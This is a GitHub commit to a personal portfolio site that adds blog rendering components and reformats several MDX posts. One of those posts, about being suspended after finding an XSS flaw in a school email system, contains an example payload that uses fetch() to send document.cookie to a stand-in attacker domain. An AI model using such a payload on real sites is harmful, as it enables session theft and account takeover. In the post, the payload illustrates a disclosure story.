Skip to content

Commit

Permalink
feat: show blog posts
Browse files Browse the repository at this point in the history
  • Loading branch information
zaida04 committed Jan 22, 2024
1 parent a581c8b commit 732b2f9
Show file tree
Hide file tree
Showing 14 changed files with 259 additions and 103 deletions.
18 changes: 18 additions & 0 deletions src/components/blog/CodeBlock.tsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
import Prism from "prismjs";
import { useEffect } from "react";

export default function CodeBlock(props: { code: string; language: string }) {
useEffect(() => {
Prism.highlightAll();
}, []);

return (
<div className="overflow-x-scroll md:overflow-x-auto rounded-md">
<div className="text-md whitespace-pre-wrap font-cascadia">
<pre className={props.language ?? "language-javascript"}>
<code>{props.code}</code>
</pre>
</div>
</div>
);
}
61 changes: 61 additions & 0 deletions src/components/blog/MDXComponents.tsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
import CodeBlock from "./CodeBlock";
import RegularBlock from "./RegularBlock";
import XMailTable from "./Tables/XMailTable";
import Statistic from "./Statistic";

const MDXComponents = {
h1: (props: { children: React.ReactNode }) => (
<h1 className="text-4xl font-bold font-rubik py-4 text-center md:text-left" {...props}>
{props.children}
</h1>
),
h2: (props: { children: React.ReactNode }) => (
<h1 className="text-2xl md:text-3xl font-bold font-rubik py-4 text-center md:text-left" {...props}>
{props.children}
</h1>
),
h3: (props: { children: React.ReactNode }) => (
<h1 className="text-xl md:text-2xl font-bold font-rubik py-4 text-center md:text-left" {...props}>
{props.children}
</h1>
),
a: (props: { children: React.ReactNode; href: string }) => {
return (
<a href={props.href}>
<Statistic hover={true}>{props.children}</Statistic>
</a>
);
},
p: (props: { children: React.ReactNode }) => {
return <p className="pb-4 font-normal leading-snug indent-4 text-left w-full">{props.children}</p>;
},
code: (props: { children: React.ReactNode }) => {
return <code className="px-2 text-red-600">{props.children}</code>;
},
pre: (props: { children: React.ReactNode }) => {
return (
<div className="overflow-x-scroll md:overflow-x-auto bg-slate-800 rounded-lg mt-4 mb-8">
<pre className="text-md p-4 mb-4 whitespace-pre-wrap">{props.children}</pre>
</div>
);
},
blockquote: (props: { children: React.ReactNode }) => {
return <blockquote className="indent-0 rounded-lg bg-slate-800 px-4 pt-4 mb-4">{props.children}</blockquote>;
},
li: (props: { children: React.ReactNode }) => {
return <li className="list-desc py-2">{props.children}</li>;
},
ol: (props: { children: React.ReactNode }) => {
return <ol className="md:indent-8 ml-4 px-2 md:px-4 list-decimal">{props.children}</ol>;
},
ul: (props: { children: React.ReactNode }) => {
return <ul className="list-desc">{props.children}</ul>;
},
// biome-ignore lint/a11y/useAltText: <explanation>
img: (props: { src: string }) => <img {...props} className="pt-8" />,
XMailTable,
CodeBlock,
RegularBlock,
};

export default MDXComponents;
11 changes: 11 additions & 0 deletions src/components/blog/RegularBlock.tsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
export default function RegularBlock(props: { text: string }) {
return (
<div className="overflow-x-scroll md:overflow-x-auto rounded-md">
<div className="text-md whitespace-pre-wrap font-cascadia">
<pre className="language-markdown">
<code>{props.text}</code>
</pre>
</div>
</div>
);
}
3 changes: 3 additions & 0 deletions src/components/blog/Statistic.tsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
export default function Statistic(props: { children: React.ReactNode; hover?: boolean }) {
return <code className={`text-pink-600 font-bold ${props.hover && "hover:underline"}`}>{props.children}</code>;
}
28 changes: 28 additions & 0 deletions src/components/blog/Tables/XMailTable.tsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
export default function XMailTable() {
return (
<div className="pb-6 flex flex-col">
<table className="table-auto border-2 border-spacing-2">
<thead>
<tr>
<th className="border border-slate-600 md:px-20">Subject</th>
<th className="border border-slate-600 md:px-24">Sender</th>
</tr>
</thead>
<tbody>
<tr>
<td className="border border-slate-700 md:px-20">AP Computer Science Homework</td>
<td className="border border-slate-700 md:px-24">Mr. Guy</td>
</tr>
<tr>
<td className="border border-slate-700 md:px-20">Materials needed</td>
<td className="border border-slate-700 md:px-24">Ms. Teacher</td>
</tr>
<tr>
<td className="border border-slate-700 md:px-20">Welcome back to school</td>
<td className="border border-slate-700 md:px-24">Mr. Principal</td>
</tr>
</tbody>
</table>
</div>
);
}
4 changes: 3 additions & 1 deletion src/components/layouts/PageLayout.astro
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,9 @@ const { title } = Astro.props;
<Layout title={title}>
<div class="flex justify-center mb-24">
<div class="w-4/6">
<Navbar />
<div class="mb-8">
<Navbar />
</div>

<div class="flex flex-col gap-20">
<slot />
Expand Down
36 changes: 17 additions & 19 deletions src/components/nav/Navbar.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -2,28 +2,26 @@ import { Github } from "lucide-react";

const navbar = {
home: "/",
projects: "#projects",
competitons: "#competitions",
blog: "#blog",
projects: "/#projects",
competitons: "/#competitions",
blog: "/#blog",
}

export default function Navbar() {
return <div className="mb-8">
<div className="flex flex-row justify-between p-8">
<div className="flex flex-row gap-12">
{Object.keys(navbar).map(key => {
const destination = navbar[key as keyof typeof navbar];
return <div className="flex flex-row justify-between p-8">
<div className="flex flex-row gap-12">
{Object.keys(navbar).map(key => {
const destination = navbar[key as keyof typeof navbar];

return <div>
<a className="" href={destination}>{key}</a>
</div>
})}
</div>

<a href="https://github.com/zaida04" className="flex flex-row gap-2 items-center">
<Github />
<p className="text-sm">View on GitHub</p>
</a>
return <div>
<a className="" href={destination}>{key}</a>
</div>
})}
</div>
</div >

<a href="https://github.com/zaida04" className="flex flex-row gap-2 items-center">
<Github />
<p className="text-sm">View on GitHub</p>
</a>
</div>
}
2 changes: 1 addition & 1 deletion src/content/posts/5-things-learned-first-job.mdx
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
---
title: "5 lessons learned from my first SWE job."
title: "5 lessons learned from my first SWE job"
publishedAt: 1681079647825
description: "Lessons I will take to my next one and you should take to your first one."
tags: ["career", "advice", "coding"]
Expand Down
104 changes: 51 additions & 53 deletions src/content/posts/documenting-library-with-chatgpt.mdx
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
---
title: "Documenting my library with ChatGPT."
title: "Documenting my library with ChatGPT"
publishedAt: 1678521036323
description: "AI is one step closer to total world domination. Sort-of."
tags: ["coding", "ai"]
Expand All @@ -25,7 +25,8 @@ On my first run through, I gave ChatGPT a file like this, and asked it to write

**Input:** Write some comments about this code

<CodeBlock code={`import { Base } from "./Base";
```typescript
import { Base } from "./Base";

export class Group extends Base {
addMember(memberId: string): Promise<void> {
Expand All @@ -36,12 +37,13 @@ export class Group extends Base {
return this.client.groups.removeMember(this.id, memberId);
}

}`}
/>
}
```

**Output:**

<RegularBlock text={`This code exports a Group class that extends the Base class.
```diff
This code exports a Group class that extends the Base class.

The Group class has two methods:

Expand All @@ -55,7 +57,7 @@ The Group class has two methods:

Overall, this code appears to be a module for managing group memberships in a larger application. It uses promises to handle asynchronous operations, making it well-suited for
use in an asynchronous environment.
`} />
```

My initial worry with this was how it would do with such a low-context environment. It has no idea what `this.client` is, or what the methods on that object even are. However, due to being trained on information about libraries like Discord.js, it actually did very well with interpreting this code. It was able to give full context about the methods, their purpose, and the purpose of their return values.

Expand All @@ -69,34 +71,33 @@ However, I needed it to write these code comments inline, and also format them a

**Output:**

<CodeBlock code={`import { Base } from "./Base";
```typescript
import { Base } from "./Base";

/\*\*
- Represents a group.
- @extends Base
\*/
export class Group extends Base {
/\*\*
- Adds a member to the group.
- @param {string} memberId - The id of the member to add.
- @returns {Promise<void>} A Promise that resolves when the member is added successfully.
\*/
addMember(memberId) {
/**
* Represents a group.
* @extends Base
*/
export class Group extends Base {
/**
* Adds a member to the group.
* @param {string} memberId - The id of the member to add.
* @returns {Promise<void>} A Promise that resolves when the member is added successfully.
*/
addMember(memberId) {
return this.client.groups.addMember(this.id, memberId);
}
/\*\*
}

- Removes a member from the group.
- @param {string} memberId - The id of the member to remove.
- @returns {Promise<void>} A Promise that resolves when the member is removed successfully.
\*/
/**
* Removes a member from the group.
* @param {string} memberId - The id of the member to remove.
* @returns {Promise<void>} A Promise that resolves when the member is removed successfully.
*/
removeMember(memberId) {
return this.client.groups.removeMember(this.id, memberId);
}
return this.client.groups.removeMember(this.id, memberId);
}
`} />
}
```

Now this was getting somewhere. The glaring issue however was that it stripped the methods of their parameter types and their return types and inlined them in the JSDoc comment. Since the code is written in TypeScript, it’s meant to be our single source of truth when it comes to types. I realized regular JSDoc comments weren’t going to cut it here. There was also an occassional issue where ChatGPT was not putting the returned code in a codeblock, making the site’s markdown renderer have some wacky side effects as a result. Turns out JSDoc comment headers are also valid markdown for lists.

Expand All @@ -106,35 +107,32 @@ Now this was getting somewhere. The glaring issue however was that it stripped t

**Output:**

<CodeBlock code={`import { Base } from "./Base";
```typescript
import { Base } from "./Base";

/\*\*
- Represents a group that extends the Base class.
_/
export class Group extends Base {
/\*\*
_ Adds a member to the group.
_ @param memberId - The ID of the member to add to the group.
_ @returns A Promise that resolves when the member is added to
the group successfully.
\*/
/**
* Represents a group that extends the Base class.
*/
export class Group extends Base {
/**
* Adds a member to the group.
* @param memberId - The ID of the member to add to the group.
* @returns A Promise that resolves when the member is added to the group successfully.
*/
addMember(memberId: string): Promise<void> {
return this.client.groups.addMember(this.id, memberId);
return this.client.groups.addMember(this.id, memberId);
}

/**
* Removes a member from the group.
* @param memberId - The ID of the member to remove from the group.
* @returns A Promise that resolves when the member is removed from
the group successfully.
*/
removeMember(memberId: string): Promise<void> {
return this.client.groups.removeMember(this.id, memberId);
}
/**
* Removes a member from the group.
* @param memberId - The ID of the member to remove from the group.
* @returns A Promise that resolves when the member is removed from the group successfully.
*/
removeMember(memberId: string): Promise<void> {
return this.client.groups.removeMember(this.id, memberId);
}
`} />
}
```

That was perfect. Clear, concise comments that reflected exactly what the class and methods were trying to do. I was thoroughly impressed. I was also extremely happy that I wasn’t going to have to write all these comments myself, effectively saving me upwards of 20+ hours worth of work.

Expand Down
8 changes: 5 additions & 3 deletions src/content/posts/how-i-got-suspended.mdx
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
---
title: "I got suspended for doing the right thing."
title: "I got suspended for doing the right thing"
publishedAt: 1656992369870
description: "And why no good deed goes unpunished."
tags: ["coding", "cybersecurity", "hacking"]
Expand All @@ -23,14 +23,16 @@ Why? Because of something called a [Cross Site Scripting Attack (XSS)](https://o
In this situation, it means an attacker can send someone a link to XMail with a specially crafted payload encoded, and when the user clicks the link they'll be directed to XMail, but without knowing it, malicious code is running on their browser. This is especially dangerous because of the way the school website worked, where _session IDs were not stored in an [HttpOnly cookie](https://owasp.org/www-community/HttpOnly)_, allowing an attacker access to a user's cookies using `document.cookie`.
The attacker can then make a HTTP request to a remote server and send that cookie over, using an example payload encoded into the URL like this:

<CodeBlock code={`fetch("http://someotherdomainIown.com/receive-cookies", {
```javascript
fetch("http://someotherdomainIown.com/receive-cookies", {
method: "POST",
mode: "no-cors",
body: document.cookie,
headers: {
"Content-Type": "application/x-www-form-urlencoded "
}
});`} />
});
```

With this session ID in hand, the attacker can then authenticate themselves as the user without them knowing. To them, they just clicked on a link that took them to their email, but to an attacker, they now have full access to their account. This meant someone could target a student, a teacher, or even a principal. Everyone was at risk.
This had the potential of costing the school district tens of thousands of dollars.
Expand Down
Loading

0 comments on commit 732b2f9

Please sign in to comment.